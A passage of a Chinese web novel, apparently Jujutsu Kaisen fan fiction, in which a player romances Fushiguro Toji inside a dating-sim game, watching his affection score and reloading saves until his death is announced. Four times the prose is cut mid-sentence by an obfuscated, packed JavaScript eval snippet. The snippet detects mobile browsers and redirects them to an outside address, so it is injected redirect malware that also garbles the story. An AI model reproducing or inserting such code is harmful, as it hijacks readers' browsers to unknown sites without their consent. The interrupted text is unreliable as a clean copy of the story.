“甚尔。”今野桃靠坐在椅子上,抬眼看他,“我们来玩个游戏,怎么样?” “玩游戏?玩什么?” “就玩……我们下注三次,如果三次我都赢了,你就答应我一个要求。而我只要输了一次,我就答应你一个要求。玩吗?” 连赢三次?这个马场得是大小姐家开的吧。 而且,伏黑甚尔不觉得大小姐能提出什么出格的要求。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135738|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于是他无所谓地点头道:“行啊。” 怎么可能有人能连赢三次…… “……” 今野桃看着伏黑甚尔怀疑人生的无语模样,笑得灿烂极了。 “我赢了呢,甚尔。” 读档三次,连赢三场,狂揽千万收益。 今野桃觉得自己好像发现了一个游戏bug。 嗯……这个bug等她的合同结束了再提交上去。 “好吧,”他无奈地说道,“大小姐想让我做什么呢?” “这个嘛……还没想好,先存着。”今野桃得意洋洋地说道,“甚尔总不会想要耍赖吧?” 伏黑甚尔还真想过,反正他也不是什么有道德的人。 只是……算了,他暂时还不打算换个金主。 “给,说好了的,赢了算你的。”今野桃将奖券塞给伏黑甚尔,“你去兑换吧。” 伏黑甚尔却没有径自离开,而是揽住了今野桃的肩膀,健壮的身体将她挡住了大半。 “我们一起去。”他懒洋洋地说道,“我怕我刚走,大小姐就会不见了。” 边上有人的眼珠子都恨不得黏在大小姐的身上了。只怕他一离开,她就会被掳走。 即便如此,在走出赌马场后,他们仍然受到了袭击。 “啧。” 伏黑甚尔不耐地发出一个短促的音节。这些人完全不是他的一合之敌,但他担心大小姐见不得血腥的场面。 他抱着她,在小巷子里快速穿梭,身后是一大群追兵。 今野桃拍了拍他的肩膀,示意他把自己放下来。 “万一被他们追到家里去就不好了。”她叹了口气,“就在这里把他们解决了吧。” 伏黑甚尔停住,两人对视了一眼,他从善如流地放下她。 “好。” 看样子大小姐的身上也有秘密啊。不过,那跟他又有什么关系呢。 从丑宝的口中掏出武器,伏黑甚尔确定她看不见丑宝。但她对他能凭空变出武器并不在意。 是知道咒术界吗?可他调查过,她就是一个普通的有钱人家的小孩,从未接触过咒术相关的东西。 那就是天性如此了。 要么是冷漠,要么就是……信任。 哈,对他这样的人也如此信任吗?真不知道该说她胆子大还是天真了。 将人都解决掉,伏黑甚尔随手扯过一块布把武器上面的血迹擦干净。 哒、哒…… 今野桃朝他走了过来。 她会觉得血腥气刺鼻吗?还是会露出不忍的神色呢?或是要批评他太过狠辣? 伏黑甚尔好整以暇地看着她。 “甚尔……”她开口道。 “啊,怎么了。” “晚饭我们吃寿喜烧吧。”今野桃说道,“我想吃寿喜烧。” “……行,走吧。” 【伏黑甚尔好感值:60】 5. 第五章 仿佛是为了送走秋天,立冬的这场雨下得格外大。今野桃被一道雷声惊醒,心脏跳得有些失序。 她揉了揉额角,踩着拖鞋下楼。 厨房的灯光柔和而温暖,驱散了些许夜晚的凉意。今野桃伸手从橱柜里拿出一只玻璃杯,转身拧开水龙头,清澈的水流注入杯中,发出悦耳的“哗哗”声。 温水入口,那股躁动总算是压了下去。 就在这时,窗户口处传来了异样的响动。 她探出头,看见一只被淋得狼狈不堪的“大猫”。 不爱走正门的伏黑甚尔浑身湿透,雨水顺着他的发梢不断滴落,在地上汇聚成一小滩水渍。 他随意地甩了甩头发,像是抖毛一般,然后抹了一把脸。紧接着,仿佛察觉到了她的注视,他带着几分警惕地回望过去,看到了站在厨房的今野桃。 两人的目光在空中交汇,一时间,空气中仿佛弥漫着一种微妙的气息。今野桃怔了怔,下意识地开口:“你这么晚还出门了吗?怎么淋成这样。” 伏黑甚尔也默了默,应该是没想到会被她抓个正着,一时间不知道该怎么回答。 今野桃也没指望他必须回答,她跑去浴室,拿了两条干净的毛巾过来。 “擦一擦吧,别感冒了。” “不会的。”伏黑甚尔嗤道,“我不会生病。” 这幅被诅咒过的躯体,才不可能会生病。 “那也要注意健康啊。” 气氛一时间安静了下来,伏黑甚尔老老实实地坐在地板上,任凭她给他上下擦拭。 思来想去许久,他开口道:“我去……处理点事情。” 今野桃顿了顿,回道:“这样啊。” 伏黑甚尔向来我行我素,会解释一句,不仅仅是因为好感值高,这件事对他来说,或许也很特殊。 “能告诉我,是什么事吗?”她少有地追问了一句。 伏黑甚尔没有立刻回答。 今野桃没有催促,只是在给他擦干净头发后,用另一块干毛巾把地面的水也吸了吸。 良久,伏黑甚尔自嘲似的笑了一下,说道:“好吧,既然你想知道的话。我去看我儿子了。” 今野桃愣住了。 儿子? 不是,等等。 想到这个游戏的超高自由度,再想到日本的一些特殊文化,今野桃瞬间慌了。 伏黑甚尔现在是单身吗?她的意思是,伏黑甚尔,现在是法律意义上的单身吗? 不会等下再告诉她,伏黑甚尔现在其实是已婚吧?!有妻子孩子但仍然出来做牛郎的,虽然很少,但也不是没有…… “你……”今野桃组织了半天语言,迎着伏黑甚尔状似无所谓的目光,艰难地问道,“你结婚了?” 伏黑甚尔的眉梢微微上扬,好像品出了什么:“你很介意我结过婚?” “……” 今野桃哽住。 不是啊,大哥,你……人不能,至少不应该…… 她扶额,无奈说道:“我不做第三者的。甚尔,你这样做,不仅对不起你的妻子,也辜负了我。” 伏黑甚尔眼中的戏谑消失,他飞快地说道:“没有,我跟她已经离婚了。” 离婚……好吧,那还差不多。她自己也有点责任,没有提前调查一下他的背景。 唉,伏黑甚尔都做牛郎了,结过婚也很正常。 “行了,你淋了雨,赶紧去洗个澡吧。”今野桃趁机揉了一把他的头发,“不要不爱惜自己的身体。” “……知道了。” 大概是因为心虚?这个夜里,伏黑甚尔没有到次卧睡觉,而是不声不响地霸占了主卧的半边床。 “冬天了,大小姐不冷吗?”睡衣松松垮垮的,露出了他大片的胸膛。 今野桃是很想拒绝的,毕竟刚刚她还在生气。但暖气吹得再足也比不过恒温又柔软的怀抱。肌肤贴在一起时,能感受到从另一边传来的源源不断的暖意,很快就将她也烘得暖融融了。 伏黑甚尔的体质确实很不错,正如他自己所说,他从来没有生过病。 节奏清晰又有规律的心跳在耳边回响,能将一切情绪抚平。 “话说回来……甚尔是在冬天出生的吗?”今野桃问道。 甚尔(toji)的读音,和冬至(toji)的读音是一样的,很容易让人想到二者之间的关联。 “嗯,不过不是在冬至出生的,是在一年的最后一天。”伏黑甚尔回道。 十二月三十一号? 今野桃算了一下,那就还有一个多月的时间了。 生日应该算是恋爱的一个重要节点吧? “那我们过段时间去泡温泉吧!”今野桃兴致勃勃地说道,“正好也可以庆祝你的生日!” 然而伏黑甚尔一口拒绝了:“不必给我庆祝生日,我不过生日的。” “诶?可是……” 伏黑甚尔用重重一声叹息打断了她未尽的话语:“果然还是我不够努力,所以大小姐才会东想西想。” 他翻身,像是野兽匍匐于猎物之上。 “给我个机会证明一下自己吧,大小姐。” 今野桃还没反应过来,视线就暗了下去。 被强制黑屏了。 [玩家未实名认证,后续剧情不予开放。] 这个提示她在上周目看得多了,下一句都能背出来。 [充值后可解锁实名认证。] 呸,她才不会给这个游戏花钱。 . 今野桃找了家风评好的私家侦探,在高额的报酬下,仅仅一天时间,就把伏黑甚尔的身世打听出来了。 出乎意料的,伏黑甚尔的身世并不难查。 偏远乡下出身的孤儿,入赘到了前妻家,有两个孩子,一个叫“伏黑惠”,一个叫“伏黑津美纪”。 虽然因为时间紧迫所以没有调查得特别详细,但大致情况是没错的。 今野桃坐在一楼客厅,伏黑甚尔已经出门了。他跟她打了招呼,要去看赌马,一整天都不回来。 他渣得明明白白,不加掩饰。 因为在沟通的时候她随口同私家侦探说了一句是想调查结婚对象,私家侦探非常委婉地在报告上劝了一句: 伏黑甚尔不是个好的结婚人选。 伏黑甚尔和前妻结婚的时候就已经有了伏黑惠,那个时候伏黑惠还是个出生没多久的婴儿。伏黑惠的生母不详,伏黑甚尔为了甩掉这个包袱所以才会同前妻结婚,甚至不惜入赘。 伏黑甚尔从来没有管过这个孩子,钱也给得不多,所以前妻忍无可忍,在几年后同他离婚,把女儿伏黑津美纪也抛下,自己一个人跑了。 今野桃的目光落在手机屏幕上,私家侦探发过来的讯息里,附带着他两个孩子现在的地址。 时间一分一秒地过去,今野桃最终还是拎起包,顺着地址过去了。 伏黑惠今年五岁,伏黑津美纪七岁,两人都在上小学。伏黑惠的年龄本来没到,但因为家里就一个姐姐,所以提前入学了。 今野桃坐在学校外面不远处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135739|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的咖啡馆,看着两个孩子手牵手走出校园。 他们看起来被孤立了,明明身边走过许多同学,却没有一个同他们打招呼。 今野桃拿起包,跟在两个孩子的后面。穿过一条条街道,走了大概几百米的样子,两个孩子停下了。 伏黑惠转身,望向距离他们十来米的今野桃。他松开了牵着姐姐的手,示意姐姐在这里等他,然后朝今野桃迎了上去。 “大姐姐,请问你有什么事吗?”他礼貌地问道。 今野桃眨了眨眼睛,回道:“没什么事,散步而已。” 伏黑惠沉默着,他有一张几乎和伏黑甚尔一个模子刻出来的外表,只是头发炸开,像个海胆。 “大姐姐是因为我爸爸来的吗?”伏黑惠的身上有一种不似同龄人的老成,这是父母不在身边导致的。 没有长辈依靠的小孩,总是会更早成熟。 今野桃有点惊讶:“你怎么知道?” “因为我见过像大姐姐一样的女人。”伏黑惠垂下眼睑,脸上闪过一丝厌倦。 伏黑甚尔在外面有很多桃花,总有人在分开后不死心,想要另辟蹊径。 伏黑惠见过要用他来威胁爸爸的,见过歇斯底里的,形形色色。 看在这个女人还算冷静的份上,伏黑惠好心说道:“大姐姐,你还是放弃吧,我爸爸不是个好人。” 他就是个人渣啊! 今野桃心中认同伏黑惠的话,嘴上却说道:“浪子回头金不换,我相信甚尔会变好的。” 伏黑惠的表情一下子变得很古怪。 今野桃有点想笑。 “作为吓到了你们的补偿,我请你们吃晚饭吧。” 伏黑惠吃了一顿相当豪华的晚餐。眼前的这个大姐姐长得漂亮,又有钱,性格也很好,真不知道是怎么看上他爸爸的。 他欲言又止几次,最后还是小声说道:“我爸爸不管我们的,大姐姐。” 今野桃知道,他这是暗示她,想走孩子路线是没有用的,伏黑甚尔不在意这些。 真是一个善良的小孩,如果不是这张脸,谁能猜到他会是伏黑甚尔的儿子,想来都是生母的遗传。 他明明可以抓住这个机会为自己谋求好处,至少能让短期内的生活好过许多。 “我知道了,谢谢你。” 伏黑甚尔但凡有一点在意两个孩子,他们都不会过这种日子。 今野桃还是没忍住摸了摸伏黑惠的头发,真叫人意外,竟然是毛茸茸的手感,一点都不扎。 临走时,她悄悄塞给两个孩子一笔钱。 伏黑惠和伏黑津美纪都不想要,今野桃狡黠笑道:“放心,这笔钱从我给甚尔的‘零花钱’里扣。” 伏黑惠立刻感激地收下了。 今野桃回家的时候夜色深沉,伏黑甚尔已经在家看电视。屏幕里播放着赌马的画面,解说员的声音激情万分。 看见她回来,他把音量调低,随口问道:“大小姐去哪玩了?” “去逛街,”今野桃一边脱外套一边说道,“顺便去看了看你的儿子,跟你长得真像啊。” 有那么一瞬间,她察觉到伏黑甚尔的气势发生了极细微的变化。他的眼波泛起了丝丝涟漪,肌肉骤然绷紧,又很快放松。 如果不是今野桃跟两面宿傩呆久了,被他的喜怒无常狠狠折磨过,察言观色的技能几乎点满,她不会发现伏黑甚尔刚刚的蹊跷。 不是说伏黑甚尔一点不在意自己孩子的死活吗? 今野桃的心中生出了一丝疑惑。 6. 第六章 在极短暂的失态后,伏黑甚尔再没有露出任何破绽。 “我的儿子?”他似乎思考了一下,随后恍然大悟地说道,“哦对,我是有个儿子,是叫……‘惠’吧?今年几岁来着?上幼儿园了吧?” “……”今野桃失语,你自己的儿子,你竟然连他的名字和年龄都不知道,这未免也太离谱了吧!“是叫‘惠’,不过不是上幼儿园,他都马上要读小学了!” “哦。”伏黑甚尔随意地应道,然后他侧过头,似笑非笑地开口说道,“大小姐对孩子很感兴趣吗?” 今野桃瞪了他一眼:“什么叫我喜欢孩子啊,因为惠是你的小孩,所以我才会去关注的,好吗!” 虽然伏黑惠看起来确实乖巧,但她对养小孩一点兴趣都没有。 除非别人铲屎她负责玩,那还能考虑一下。 “好吧好吧,真是谢谢大小姐的爱屋及乌了。”伏黑甚尔举手投降,紧接着,一个热情的吻就扑了上来,“不过啊,我可不想大小姐的爱分给别人呢。就算是惠,我也会嫉妒的哦。” 今野桃被他的话羞得面红耳赤,又恼又怒。 他把她当成是什么人了!她怎么可能连小孩子都不放过!她可是纯爱党!纯爱懂不懂! 很快,那些杂七杂八的想法就像浆糊一样被搅成一团。 大抵是察觉到今野桃对床上那点事的冷淡(毕竟游戏会黑屏),伏黑甚尔精准地找到了她的喜好,无师自通了怎么避开游戏的屏蔽机制,还能给她带来快乐。 不、不愧是资深牛郎哈。 钱给得不亏。 反正游戏里的钱她也带不到下个周目。 但是…… 意乱情迷后,今野桃意识到,她和伏黑甚尔之间的问题可能比她想象中的还要严重。 男人的怀抱依然那么温暖,但今野桃清楚地看见,他的好感值降了。 从76点降到了71点,并且她推测,后面还会持续下降。 这说明,她踩到他的雷点了,兴许在某个时刻,他已经思考过离开她。 今野桃没有急着读档。她在复盘,找不到问题的根结所在,读档再多次也不会改变最终的结果。 首先,她能够确定,伏黑甚尔一定不像他自己或旁人口中那样对小孩不闻不问。其实仔细想一想,如果真的那么嫌弃,当初刚生下就大可以放到孤儿院或送给别人。想要小孩却没有的家庭还挺多的,筛一筛能找到好人家。 但伏黑甚尔不仅没有这样做,反而找了一个女人结婚。今野桃推测,其中至少有一半的原因是为了伏黑惠。 这样想来,伏黑甚尔是不是还挺有父爱的? 今野桃回忆白日时看到两个孩子那虽然整洁却仍然难掩破旧的衣服,袖子和关节处都有磨损的痕迹;还有他们瘦削的身材,略显瑟缩的神色……她给自己的这个想法打了个大大的叉。 以伏黑甚尔的本事,但凡他能分半分心思给两个小孩,至少他们吃穿不愁。 所以,最后的答案不言而喻。 第二天,在伏黑甚尔离开后,今野桃再次找到私家侦探,这一次,她要求私家侦探深挖伏黑甚尔的第一任妻子,也就是伏黑惠生母的资料。 私家侦探一边惋惜有人明知是火坑还要往下跳,一边按照老板的要求调查。 本以为这一次也是手到擒来,没想到竟然颇费了一番功夫。十来天后,私家侦探才姗姗传回了消息。 不怪他们速度慢,他们追溯着伏黑甚尔的生平,舟车劳顿。 伏黑甚尔第一次留下痕迹是在一个稍偏的小镇,那里交通不便,封闭落后。因为人口流动少,镇上的居民还有不少记得伏黑甚尔这个人的。 从居民们的口中可以计算出,那时的伏黑甚尔应该只有十七八岁的样子。没多久,他就同镇上的一个姑娘在一起了。两年后,那个姑娘难产。受限于当地的医疗条件,虽然她没有当场死亡,但也有了非常严重的后遗症。经过反复治疗,最终在伏黑惠几个月的时候离世。 那个姑娘离世后,伏黑甚尔也消失得无影无踪。 今野桃看完资料后,沉默良久,才缓缓吐出了胸口郁结的那股气。 初恋、感情正浓、意外死亡……每一个都相当于是感情中的重大buff,结果在一个人的身上聚齐了,她简直不敢想象威力有多大。 今野桃已经可以预料到,这个游戏通贩后,玩家想要攻略伏黑甚尔这个角色得付出多大的努力。 伏黑惠的生母已经不再是单纯的一个人,而是一个符号,一个象征。 那是天上皎洁的月,是可望而不可即的美好。她见证了伏黑甚尔那充满希望、却又半路折断的人生。 难怪伏黑甚尔对伏黑惠会是那种别扭的态度,换了她,恐怕会比伏黑甚尔更加矛盾。 既爱他,又恨他。他是爱情的结晶,也是杀死爱人的刽子手。伏黑甚尔当初肯定也对这个孩子充满了期待,但他诞下后,给他带来的却是无边的痛苦。 今野桃的指尖点着桌面。 调查到这里,就足够了吗? 客厅里回荡着滴答滴答的钟声,最终,她将资料归拢起来,最面上,是一张伏黑惠的学生证照片。 除此之外,下面还有一张照片。 伏黑甚尔大概是不喜欢拍照,这张照片是偷拍的。拍照人在楼上俯视着这一对充满着快乐的小夫妻。怀着孕的女人挽着丈夫的手走在医院的小道上,温暖的阳光给两人镀上了一层金色的光晕。女人带着灿烂的笑脸,仰着下巴仿佛在对丈夫诉说着什么。男人虽然没有笑,眉眼却是不可思议的柔和。 他们的幸福太溢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135740|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于言表,所以才会让人忍不住拍下来。 然而世事无常,谁也想不到意外会在什么时候发生。 今野桃又看了一眼伏黑甚尔的好感值,已经降到了69点。 反正都决定要读档了,不如玩个大的吧。 伏黑甚尔回到公寓,第一眼看见的,就是桌子上的照片。他的眼中闪过一丝厌烦,语气无奈地耸了耸肩膀说道:“大小姐还没放弃吗?这么喜欢我的儿子?如果真的这么喜欢,不如我把他卖给你吧。” 他的双手环抱,斜靠在墙壁上。 这是一个带有抵抗意味的动作。 伏黑甚尔好感值:67。 今野桃不为所动,淡淡开口道:“你不希望我调查你的儿子?” 不等伏黑甚尔回答,她又问:“你不希望我调查的是伏黑惠,还是伏黑惠的生母?” 刹那间,伏黑甚尔的表情变了。仅有的那点轻松自在都被收敛起来,属于杀手的森寒气势在屋内蔓延。今野桃仿佛听见哗啦一声,本就不多的好感值瞬间蒸发了一截。 不仅是因为今野桃提到了这个早已去世的姑娘,也因为她不带一点尊重的语气。 她是故意的。炸弹嘛,只有狠狠踩下去,才知道最后威力有多大。 眼看着好感值已经逼近两人初次见面的那个数字,今野桃明悟了自己未来要面对的是多大的阻碍。 伏黑甚尔已经不想在这里继续待下去,如果不是看在两人之间有过一段还算快乐的时光,他早就动手给今野桃一个狠狠的教训了。 他的眼睛里是极力克制的杀意,再多待一秒钟,他都担心自己会拔出武器。 伏黑甚尔的动作很快,今野桃没来得及喊住他就消失不见了。 面对着空荡荡的客厅,她长长地叹出一口气。 “抱歉。”她低声说道。 读档。 时间回到立冬那日。 此时伏黑甚尔的好感值为65。睡一觉加10点,这个机会不能错过。 今野桃没有下楼,她斜倚在楼梯口,看着伏黑甚尔湿漉漉地出现。 没有月色的夜晚,仅能凭借一点微光视物。但伏黑甚尔的眼睛像是猫科动物那样亮晶晶的,立刻锁定了黑暗中的猎物。 她没有问他去哪里了,也没有问他为什么这么晚回来。 她只是向他伸出了手。 “冬天到了,夜里真冷啊。”她拢着睡衣感慨道。 伏黑甚尔同她深深地凝视着,然后露出了一个会意的笑。 “知道了,不会冷到你的。” 浸满雨水的衣服被随手扯下,一团火焰靠近了她。 【伏黑甚尔好感值:80】 ——弃我去者,昨日之日不可留。 ——乱我心者,今日之日多烦忧。 7. 第七章 在一年的最后一天,今野桃没有和伏黑甚尔见面。 她要去参加家庭聚会,还有数不清推不掉的邀约。新的一年再次相见时,已经是二月份了。冬天仍旧眷恋地在人间徘徊,春日悄无声息地来临。 今野桃拖着沉重的步伐回到公寓,把自己扔到沙发上,陷进了某人的怀抱里。 “啧,这是什么新的袭击方式吗?”伏黑甚尔懒洋洋地盘踞在沙发上,将人接住后团了起来。 今野桃被柔软轻薄的羽绒毯裹住,脸埋在紧实的胸肌上,喟叹道:“好累啊……” 伏黑甚尔一边跟她说话,眼睛一边紧紧盯着电视上的赛马频道:“是吗,那就休息休息。” 反正大小姐又不可能缺钱。万一缺钱的话,他也愿意免费担任大小姐的保镖,跟她去赌马场玩几把。只要她把钱分他一半就行。 今野桃轻哼一声不说话,只是一味地用充满弹性的腹肌捂手。 她已经想开了,谁没有几个前任呢。就说她自己,刚刚下线休息的时候,还不是去别的时空做小画家、律师、猎人、制作人、审神者,要忙着杀流浪体、打溯行军…… 要论起白月光和朱砂痣,那可真是数都数不过来了。 想到自己因为忙碌好几个月没有登陆其他游戏,结果上线后看板郎问她去别的地方玩得开心吗,今野桃缩了缩脖子。 伏黑甚尔明明在看电视,却不知道怎么发现她的心虚,顺手捏了捏她的脸颊。 “怎么,大小姐有新欢了?”他瞥了她一眼。 “没有,哪里的事。”今野桃干笑道。 伏黑甚尔可有可无地点头,在她以为事情结束的时候补了一句:“有了新欢也没关系,别忘了旧爱就行。” “哈、哈哈……”今野桃咽了口口水,从口袋掏出一张还热乎的银行卡,“拿去吧,新年礼物。” 伏黑甚尔的眼睛猛地亮了。他一点不矜持地接过银行卡,奉上了一个甜蜜的亲吻。 “哎呀,大小姐你真好。”饲主外出带回了口粮,蠢蠢欲动的猫咪收起了想要离家出走的心思。 能被养着,何必自己去外面辛辛苦苦打猎呢。 他的手充满暗示性地在她的腰侧来回抚摸,语气暧昧:“让我来感谢一下大小姐吧。” “等等,你别乱亲,我过几天还要去游泳呢!” 今野桃挣扎两下,捂住伏黑甚尔的嘴巴。她可没有那种展示的癖好! 伏黑甚尔挑眉:“这个时间点去游泳,水不冷吗?你不是最怕冷的吗。” “但是我胖了啊!”说到这个,今野桃有些欲哭无泪。 没必要在这个地方也那么“自由”的!吃多了不运动结果竟然会胖!她的体重在冬天过去后,竟然增加了十四斤! 对着镜子一照,天啊,她圆润了一圈! 运动,必须运动! 伏黑甚尔茫然地了一瞬,手指比划了一下,半信半疑地说道:“胖了吗?没有吧。” 顶多就是长了些肉,看起来健康了许多。 “……没有吗?”今野桃迟疑问道。 “没有。”伏黑甚尔笃定回答。 “信你。”今野桃躺了回去,“你说得没错,最近还是太冷了,等天气热点再去游泳吧。甚尔会游泳吗?” “当然会。”伏黑甚尔想都不想地回道,他主动开口,“我教你。” 今野桃甜滋滋地靠在他的怀里想,好耶,到那时一定又会有一个新的剧情节点! “那我们说好了哦,这个夏天你要教我游泳。” “嗯嗯,知道了。” . 距离夏天还有段时间,但泳衣可以先买。还有防晒霜、润肤油……和海边搭配的新衣服,要好看又出片。 在一个晴朗的好天气,今野桃把伏黑甚尔拉去了商场。 她不仅自己买,也给伏黑甚尔买。甚至给伏黑甚尔买衣服更有意思,他的身材好,往那里一站就是最好的衣架,不管穿什么都好看。 今野桃大手一挥,像玩换装游戏一样一件件地给他试,试的十件里能买下七八件。 伏黑甚尔一脸淡定,显然这个场景已经被他预料到了。 他只在今野桃想买饰品的时候阻拦了一下。 “大小姐有这个钱不如折现给我。”他百无聊赖地说道,“我不习惯戴那些东西,很容易掉。” 也是,给猫戴铃铛岂不是提醒老鼠了,还影响出刀的速度。 今野桃颇感遗憾地放下一条choker,上面镶嵌着黑曜石和钻石,看起来低调又华丽。 伏黑甚尔短促地笑了一声,仿佛洞察了她的念头。 今野桃的脸热了热,咬咬牙还是买了。 “晚上、在家戴,不影响你出门。”她含糊地说道。 “行吧,谁让你是老板呢。”伏黑甚尔轻佻地应道。 今野桃的视线漂移了,眸光闪烁得厉害。 “要不要现在回家试试?”伏黑甚尔故意弯腰,凑到她的耳边说道。 他穿着一件宽松的T恤衫,从今野桃的角度能透过他的领口,将底下的风光一览无余。 可恶!不要勾引她啊! “甚尔!” 略显尖利的声音打破了这片暧昧。没办法,这个城市太小,伏黑甚尔的前任太多,会遇到那么一两个也是正常。 今野桃看向伏黑甚尔,虽然不至于生气,但难免有一种被打扰的不爽。 “你去处理一下?”她朝那边抬了抬下巴。 伏黑甚尔还没回答,女人已经踩着高跟鞋哒哒哒地走了过来。她的语气抱怨中带着几分亲昵:“甚尔,好久没见到你了,你去哪里了呀?” 她的目光落在今野桃身上,眼睛微微眯起。 “甚尔不会是‘从良’了吧?” 她以为这样说,会看见伏黑甚尔慌张的模样,或者让他新的金主发怒,但事实上两人都无动于衷。 今野桃垂着眼睑,把玩手中的choker一言不发。伏黑甚尔努力回想,开口道:“美子小姐,好久不见。” “……我不叫美子!”女人恼怒地说道,“我叫美咲!” “噢噢,美咲小姐。”伏黑甚尔疏远地说道,“有什么事吗?我记得我们已经银货两讫了。” 女人愣住。 她记忆中的甚尔从来没有如此冷漠地对她过,这让她一时间难以接受。 “人贵有自知之明。”伏黑甚尔轻笑道,“出不起那个价,就不要让自己难堪,好吗。” 女人的脸瞬间涨得通红。 “走吧。”今野桃懒得看这种戏码,也无意亲自出演,于是率先离场。 伏黑甚尔自然紧跟其后,揽着她的肩膀小意奉承道:“听大小姐的。” 走出没几步,美咲崩溃喊道:“你以为你算什么?!等你没钱了,他也会像抛弃我一样抛弃你的!” 今野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135741|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃双手插在长风衣的口袋里,转身平静地说道:“第一,我不会没钱。他要多少钱,我永远给得起;第二,分手不叫抛弃,人与人之间聚散离合很正常。更何况,你难道为甚尔守身如玉了吗?” 不远处,女人的男伴正探头探脑地往这边看。和伏黑甚尔比起来,档次差远了。 “别把自己都给骗了,很难看的。” 今野桃走远了,男伴将女人扶起来,温言软语地说了什么,半扶半抱地带着她离开。 提前结束逛街,今野桃回家的时候脸色不太好。伏黑甚尔去冰箱里取了蛋糕,切开后端了过来。 “还生气呢?”他叉了一颗草莓送到她的嘴边,“不要为无关紧要的人生气啦,她们都是过去,我现在只喜欢你呢。” 这算是牛郎的经典话术了。 今野桃冷哼一声,酸甜的草莓沾染了奶油后变得只有甜味,勉强能入口。 “算了。”她嘀咕道,“我早就知道了,对你来说钱不断爱不断,钱断爱断,是吧。” 伏黑甚尔顿了顿,将蛋糕放在桌上,从她的口袋里掏出了那条choker。 “怎么会呢。”他用指尖灵巧地挑开搭扣,动作缓慢又颇具有暗示意味地将它绕在了脖子上,“就算大小姐没有钱了,我也会爱你的哦。” 他可不是全然在说笑,今野桃是他陪过时间最久的金主。 要知道他也是很容易厌倦的人,一旦觉得无聊了,就算花再多的钱,也留不住他。 今野桃:是吗,我不信。 不过…… 她看了一眼已经到达85的好感值,心中微微动摇了一瞬。 伏黑甚尔对她,应该也不是一丝情意都没有吧。 “好了,不要再关注无关紧要的人了。”伏黑甚尔将choker扣上,握住今野桃的手,用她的食指勾住。她的指关节顶着他的喉结,能清楚地感知到他说话时的震动,“跟我玩一会吧。” 或许他确实停留得有点久了,也许他该思考下一个落脚点了,平和的生活只会打磨掉他的警惕心,然后再突然给他重重一击。 伏黑甚尔自嘲地想。 他弯腰把人打横抱起来掂了一下,今野桃在失重的刹那惊了一下,手上下意识用了点力气,瞪大了眼睛望向他。 伏黑甚尔的头顺她的力道往下低了低,露出了一个微妙的笑。 这、这种play…… 今野桃虽然没玩过,但她觉得自己被挑衅了。 野兽看似将束缚自己的绳索交了出去,但其实轻而易举就能挣脱,此时的包容不过是对弱者的轻视罢了。 “甚尔似乎很耐玩的样子。”今野桃仰着头,脸上淡然,手指勾着的力道却又紧了两分。 伏黑甚尔歪了歪头,笑道:“你试试就知道了。” . 【伏黑甚尔好感值:86】 . “甚尔,我们说好了哦,这个夏天你要教我游泳的。” “知道了知道了,不会忘记的,大小姐。” 至少在这个夏天结束前,我会爱你。 . 但伏黑甚尔的人生,永远定格在了这个夏天。 那个有着漂亮外表的白发蓝眸少年,带来了他的讣告。 【伏黑甚尔好感值:89】 【伏黑甚尔—不归客(BE) ——式微式微,胡不归?微君之故,胡为乎中露!】 8. 第八章 人的生命犹如风中残烛,看似在平稳地燃烧,但其实随时都有可能被一阵不知从何而来的风吹灭。那些笃定的未来,在变幻无常的世事面前,脆弱得不堪一击。 看似奔向美好的道路,也许下一步就是万丈深渊。 今野桃曾经看过一个故事,主角因为半夜接到家里打来告知父母死讯的电话,从此对夜间的一切铃声都产生了恐惧,只要听见就会忍不住颤抖。 今野桃过去不理解,如今,大概懂得了几分原因。 “你说什么?”她的表情是茫然的,甚至带着些许不敢置信,“谁死了?” 少年摘下了墨镜,露出漂亮的眼睛。他深深地凝视了她一眼,说道:“那个男人,好像是被称为‘术士杀手’吧?总之,他求我帮他带句话啦。” 原本无悲无喜的湛蓝眼瞳里泛起了微波,兴许神明也会为生离死别的爱人流露出一丝怜悯。 “他说,他死了,让你别等了。” 